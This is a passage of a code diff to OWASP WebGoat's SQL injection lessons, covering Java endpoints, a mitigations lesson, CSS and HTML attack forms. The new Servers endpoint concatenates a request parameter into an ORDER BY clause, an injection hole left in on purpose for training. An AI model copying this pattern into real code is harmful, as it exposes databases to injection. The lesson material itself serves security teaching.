e.printStackTrace();
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
}
|
@ -1,5 +1,5 @@
|
||||
|
||||
package org.owasp.webgoat.plugin;
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
@ -10,7 +10,6 @@ import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.sql.Connection;
|
||||
import java.sql.ResultSet;
|
||||
@ -18,77 +17,71 @@ import java.sql.SQLException;
|
||||
import java.sql.Statement;
|
||||
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack6b")
|
||||
public class SqlInjectionLesson6b extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public @ResponseBody AttackResult completed(@RequestParam String userid_6b, HttpServletRequest request) throws IOException {
|
||||
if (userid_6b.toString().equals(getPassword())) {
|
||||
return trackProgress(success().build());
|
||||
} else {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String userid_6b) throws IOException {
|
||||
if (userid_6b.toString().equals(getPassword())) {
|
||||
return trackProgress(success().build());
|
||||
} else {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
||||
|
||||
protected String getPassword()
|
||||
{
|
||||
|
||||
String password="dave";
|
||||
try
|
||||
{
|
||||
protected String getPassword() {
|
||||
|
||||
String password = "dave";
|
||||
try {
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
try {
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
password = results.getString("password");
|
||||
}
|
||||
} catch (SQLException sqle)
|
||||
{
|
||||
sqle.printStackTrace();
|
||||
// do nothing
|
||||
} catch (SQLException sqle) {
|
||||
sqle.printStackTrace();
|
||||
// do nothing
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
// do nothing
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
// do nothing
|
||||
}
|
||||
return (password);
|
||||
}
|
@ -0,0 +1,56 @@
|
||||
package org.owasp.webgoat.plugin.mitigation;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.SneakyThrows;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 6/13/17.
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("SqlInjection/servers")
|
||||
public class Servers {
|
||||
|
||||
@AllArgsConstructor
|
||||
@Getter
|
||||
private class Server {
|
||||
|
||||
private String id;
|
||||
private String hostname;
|
||||
private String ip;
|
||||
private String mac;
|
||||
private String status;
|
||||
private String description;
|
||||
}
|
||||
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@SneakyThrows
|
||||
@ResponseBody
|
||||
public List<Server> sort(@RequestParam String column) {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
|
||||
ResultSet rs = preparedStatement.executeQuery();
|
||||
List<Server> servers = Lists.newArrayList();
|
||||
while (rs.next()) {
|
||||
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
|
||||
servers.add(server);
|
||||
}
|
||||
return servers;
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,46 @@
|
||||
package org.owasp.webgoat.plugin.mitigation;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.sql.*;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 6/13/17.
|
||||
*/
|
||||
@AssignmentPath("SqlInjection/attack12a")
|
||||
@AssignmentHints(value = {"SqlStringInjectionHint8", "SqlStringInjectionHint9", "SqlStringInjectionHint10", "SqlStringInjectionHint11"})
|
||||
@Slf4j
|
||||
public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
||||
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
@SneakyThrows
|
||||
public AttackResult completed(@RequestParam String ip) {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ?");
|
||||
preparedStatement.setString(1, ip);
|
||||
ResultSet resultSet = preparedStatement.executeQuery();
|
||||
if (resultSet.next()) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin.mitigation;
|
||||
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class SqlInjectionMitigations extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.INJECTION;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "SQL Injection (mitigations)";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "SqlInjectionMitigations";
|
||||
}
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
.panel-login {
|
||||
border-color: #ccc;
|
||||
-webkit-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
|
||||
-moz-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
|
||||
box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
|
||||
}
|
||||
.panel-login>.panel-heading {
|
||||
color: #00415d;
|
||||
background-color: #fff;
|
||||
border-color: #fff;
|
||||
text-align:center;
|
||||
}
|
||||
.panel-login>.panel-heading a{
|
||||
text-decoration: none;
|
||||
color: #666;
|
||||
font-weight: bold;
|
||||
font-size: 15px;
|
||||
-webkit-transition: all 0.1s linear;
|
||||
-moz-transition: all 0.1s linear;
|
||||
transition: all 0.1s linear;
|
||||
}
|
||||
.panel-login>.panel-heading a.active{
|
||||
color: #029f5b;
|
||||
font-size: 18px;
|
||||
}
|
||||
.panel-login>.panel-heading hr{
|
||||
margin-top: 10px;
|
||||
margin-bottom: 0px;
|
||||
clear: both;
|
||||
border: 0;
|
||||
height: 1px;
|
||||
background-image: -webkit-linear-gradient(left,rgba(0, 0, 0, 0),rgba(0, 0, 0, 0.15),rgba(0, 0, 0, 0));
|
||||
background-image: -moz-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
|
||||
background-image: -ms-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
|
||||
background-image: -o-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
|
||||
}
|
||||
.panel-login input[type="text"],.panel-login input[type="email"],.panel-login input[type="password"] {
|
||||
height: 45px;
|
||||
border: 1px solid #ddd;
|
||||
font-size: 16px;
|
||||
-webkit-transition: all 0.1s linear;
|
||||
-moz-transition: all 0.1s linear;
|
||||
transition: all 0.1s linear;
|
||||
}
|
||||
.panel-login input:hover,
|
||||
.panel-login input:focus {
|
||||
outline:none;
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
border-color: #ccc;
|
||||
}
|
||||
.btn-login {
|
||||
background-color: #59B2E0;
|
||||
outline: none;
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
height: auto;
|
||||
font-weight: normal;
|
||||
padding: 14px 0;
|
||||
text-transform: uppercase;
|
||||
border-color: #59B2E6;
|
||||
}
|
||||
.btn-login:hover,
|
||||
.btn-login:focus {
|
||||
color: #fff;
|
||||
background-color: #53A3CD;
|
||||
border-color: #53A3CD;
|
||||
}
|
||||
.forgot-password {
|
||||
text-decoration: underline;
|
||||
color: #888;
|
||||
}
|
||||
.forgot-password:hover,
|
||||
.forgot-password:focus {
|
||||
text-decoration: underline;
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.btn-register {
|
||||
background-color: #1CB94E;
|
||||
outline: none;
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
height: auto;
|
||||
font-weight: normal;
|
||||
padding: 14px 0;
|
||||
text-transform: uppercase;
|
||||
border-color: #1CB94A;
|
||||
}
|
||||
.btn-register:hover,
|
||||
.btn-register:focus {
|
||||
color: #fff;
|
||||
background-color: #1CA347;
|
||||
border-color: #1CA347;
|
||||
}
|
@ -3,54 +3,33 @@
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_plan.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content1.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content2.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content3.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content4.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content5.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content5a.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack5a"
|
||||
@ -64,23 +43,15 @@
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
<!-- do not remove the two following div's, this is where your feedback/output will land -->
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content5b.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack5b"
|
||||
@ -95,119 +66,9 @@
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
|
||||
<!-- do not remove the two following div's, this is where your feedback/output will land -->
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
|
||||
</div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content6.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content6a.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack6a"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Name:</td>
|
||||
<td><input name="userid_6a" value="" type="TEXT"/></td>
|
||||
<td><input
|
||||
name="Get Account Info" value="Get Account Info" type="SUBMIT"/></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
|
||||
<!-- do not remove the two following div's, this is where your feedback/output will land -->
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
|
||||
</div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack6b"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Password:</td>
|
||||
<td><input name="userid_6b" value="" type="TEXT"/></td>
|
||||
<td><input
|
||||
name="Check Dave's Password:" value="Check Password" type="SUBMIT"/></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
|
||||
<!-- do not remove the two following div's, this is where your feedback/output will land -->
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content7.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content8.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content9.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content10.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content11.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content12.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content13.adoc"></div>
|
||||
</div>
|
||||
|
||||
</html>
|
||||
|
@ -0,0 +1,166 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjectionAdvanced_plan.adoc"></div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content6.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content6a.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack6a"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Name:</td>
|
||||
<td><input name="userid_6a" value="" type="TEXT"/></td>
|
||||
<td><input
|
||||
name="Get Account Info" value="Get Account Info" type="SUBMIT"/></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/SqlInjection/attack6b"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Password:</td>
|
||||
<td><input name="userid_6b" value="" type="TEXT"/></td>
|
||||
<td><input
|
||||
name="Check Dave's Password:" value="Check Password" type="SUBMIT"/></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_content6c.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:SqlInjection_challenge.adoc"></div>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge.css}"/>
|
||||
<script th:src="@{/lesson_js/challenge.js}" language="JavaScript"></script>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="panel panel-login">
|
||||
<div class="panel-heading">
|
||||
<div class="row">
|
||||
<div class="col-xs-6">
|
||||
<a href="#" class="active" id="login-form-link">Login</a>
|
||||
</div>
|
||||
<div class="col-xs-6">
|
||||
<a href="#" id="register-form-link">Register</a>
|
||||
</div>
|
||||
</div>
|
||||
<hr/>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="row">
|
||||
<div class="col-lg-12">
|
||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="SqlInjection/attack7"
|
||||
enctype="application/json;charset=UTF-8" role="form">
|
||||
<div class="form-group">
|
||||
<input type="text" name="username_login" id="username4" tabindex="1"
|
||||
class="form-control" placeholder="Username" value=""/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="password" name="password_login" id="password4" tabindex="2"
|
||||
class="form-control" placeholder="Password"/>
|
||||
</div>
|
||||
<div class="form-group text-center">
|
||||
<input type="checkbox" tabindex="3" class="" name="remember" id="remember"/>
|
||||
<label for="remember"> Remember me</label>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="row">
|
||||
<div class="col-sm-6 col-sm-offset-3">
|
||||
<input type="submit" name="login-submit" id="login-submit"
|
||||
tabindex="4" class="form-control btn-primary"
|
||||
value="Log In"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="row">
|
||||
<div class="col-lg-12">
|
||||
<div class="text-center">
|
||||
<a href="#" tabindex="5" class="forgot-password">Forgot
|
||||
Password?</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="PUT" name="form"
|
||||
action="SqlInjection/attack7"
|
||||
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
|
||||
<div class="form-group">
|
||||
<input type="text" name="username_reg" id="username" tabindex="1"
|
||||
class="form-control" placeholder="Username" value=""/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="email" name="email_reg" id="email" tabindex="1"
|
||||
class="form-control" placeholder="Email Address" value=""/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="password" name="password_reg" id="password" tabindex="2"
|
||||
class="form-control" placeholder="Password"/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="password" name="confirm_password_reg" id="confirm-password"
|
||||
tabindex="2" class="form-control" placeholder="Confirm Password"/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="row">
|
||||
<div class="col-sm-6 col-sm-offset-3">
|
||||
<input type="submit" name="register-submit" id="register-submit"
|
||||
tabindex="4" class="form-control btn btn-primary"
|
||||
